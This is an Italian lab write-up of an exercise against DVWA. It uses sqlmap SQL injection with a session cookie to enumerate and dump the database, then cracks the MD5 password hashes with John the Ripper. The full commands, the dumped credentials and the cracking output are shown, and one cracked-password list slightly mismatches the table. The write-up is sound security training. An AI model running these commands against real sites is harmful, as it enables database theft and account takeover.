Esercizio del Giorno

Argomento: Password Cracking - Recupero delle Password in Chiaro

Obiettivo dell'Esercizio:

Recuperare le password hashate nel database della DVWA e eseguire sessioni di cracking per recuperare la loro versione in chiaro utilizzando i tool studiati nella lezione teorica.

Istruzioni per l'Esercizio:

1. **Recupero delle Password dal Database:**
   - Accedete al database della DVWA per estrarre le password hashate.
   - Assicuratevi di avere accesso alle tabelle del database che contengono le password.
2. **Identificazione delle Password Hashate:**
   - Verificate che le password recuperate siano hash di tipo MD5.
3. **Esecuzione del Cracking delle Password:**
   - Utilizzate uno o più tool per craccare le password:
   - Configurate i tool scelti e avviate le sessioni di cracking.
4. **Obiettivo:**
   - Craccare tutte le password recuperate dal database.

Per il completamento di questo esercizio, come da traccia, ho fatto l'accesso alla DVWA, e ho abbassato la security a low e ho recuperato il cookie di sessione

```
» document.cookie
← "security=low; PHPSESSID=973ffc9e295a0e675549186e8521919b"
```

Una volta recuperato il cookie, definisco "c" con le credenziali del document.cookie in modo da poterlo utilizzare su sqlmap in questo modo:

```
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.50.101/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie=$c --dbs
```

il comando mostra un'azione di **enumerazione del database** su DVWA. Stiamo sfruttando una vulnerabilità di iniezione SQL per interrogare il database e scoprire quali database sono presenti sul server.

Il risultato è il seguente:

```
[07:30:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL ⩾ 4.1
[07:30:47] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
```

A questo punto, analizziamo il database “**dvwa**” tramite il seguente comando:

```
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.50.101/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie=$c -D dvwa --dump-all
```

Questo comando estrae tutti i dati da un database specifico. In sintesi, stiamo esfiltrando l'intero contenuto del database e il risultato ottenuto è il seguente:

```
[5 entries]
+---------+---------+-------------------------------------------------------+----------------------------------+-----------+------------+
| user_id | user    | avatar                                                | password                         | last_name | first_name |
+---------+---------+-------------------------------------------------------+----------------------------------+-----------+------------+
| 1       | admin   | http://172.16.123.129/dvwa/hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      |
| 2       | gordonb | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     |
| 3       | 1337    | http://172.16.123.129/dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       |
| 4       | pablo   | http://172.16.123.129/dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      |
| 5       | smithy  | http://172.16.123.129/dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        |
+---------+---------+-------------------------------------------------------+----------------------------------+-----------+------------+
```

A questo punto abbiamo accesso alle password ma sono cifrate tramite l’algoritmo MD5. Per decifrare questo hash, useremo **John the Ripper**; per farlo ho creato un file di testo chiamato hashes.txt dove al suo interno ho inserito le password trovate all’interno del database DVWA.

```
┌──(kali㉿kali)-[~]
└─$ john --format=raw-md5 hashes.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8×3])
Warning: no OpenMP support for this hash type, consider --fork=4
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password         (?)
abc123           (?)
letmein          (?)
letmein          (?)
Proceeding with incremental:ASCII
charley          (?)
5g 0:00:00:00 DONE 3/3 (2025-08-07 07:49) 20.83g/s 743125p/s 743125c/s 749525C/s stevy13..candake
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Questo esercizio documenta con successo l'intero processo di compromissione di un'applicazione web vulnerabile, dalla fase di ricognizione fino all'estrazione di dati sensibili e al cracking delle password.

Sfruttamento della Vulnerabilità: Abbiamo identificato e sfruttato una vulnerabilità di **SQL Injection** sull'applicazione DVWA utilizzando lo strumento sqlmap.

Enumerazione del Database: Attraverso l'attacco, siamo riusciti a enumerare i database presenti sul server e a confermare l'esistenza del database dvwa, che conteneva i dati dell'applicazione.

Estrazione dei Dati Sensibili: Successivamente, abbiamo utilizzato sqlmap per scaricare l'intero contenuto del database dvwa, ottenendo nomi utente e gli hash delle password. Questa fase ha dimostrato come un attacco SQL Injection possa portare all'esfiltrazione di informazioni critiche.

Password Cracking: Gli hash delle password estratti (in formato MD5) sono stati poi analizzati con lo strumento **John the Ripper**. Grazie a un attacco a dizionario, è stato possibile decifrare gli hash e ottenere le password in chiaro corrispondenti a diversi utenti

Tramite questo esercizio, possiamo comprendere chiaramente i pericoli associati alle vulnerabilità di SQL Injection e all'utilizzo di metodi di hashing deboli (come MD5 senza "salting").

Questo tipo di pratiche di sicurezza possono esporre i dati degli utenti e permettere a un attaccante di ottenere accesso non autorizzato al sistema, compromettendo la riservatezza e l'integrità dei dati. Per evitare che questo tipo di attacchi di abbiano successo, è fondamentale implementare pratiche di sviluppo e configurazione sicure.